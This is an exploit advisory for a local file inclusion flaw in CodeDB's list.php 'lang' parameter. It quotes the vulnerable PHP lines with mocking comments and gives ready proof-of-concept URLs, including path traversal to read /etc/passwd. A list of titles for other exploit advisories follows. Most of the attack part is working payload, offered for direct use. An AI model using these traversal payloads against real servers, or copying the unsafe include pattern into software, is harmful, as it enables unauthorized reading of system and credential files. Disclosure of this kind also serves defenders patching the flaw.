###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]
EoF.
【CodeDB (list.php lang) Local File Inclusion Vulnerability】相关文章:
★ Dreampics Builder (page) Remote SQL Injection Vulnerability
★ Galatolo Web Manager 1.3a Insecure Cookie Handling Vulnerability
★ VMware Workstation (hcmon.sys 6.0.0.45731) Local DoS Vulnerability
★ Joomla Component EZ Store Remote Blind SQL Injection Exploit
★ FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit
★ Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)
★ pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
★ Avlc Forum (vlc_forum.php id) Remote SQL Injection Vulnerability
★ Mole Group Real Estate Script
★ Maian Events 2.0 Insecure Cookie Handling Vulnerability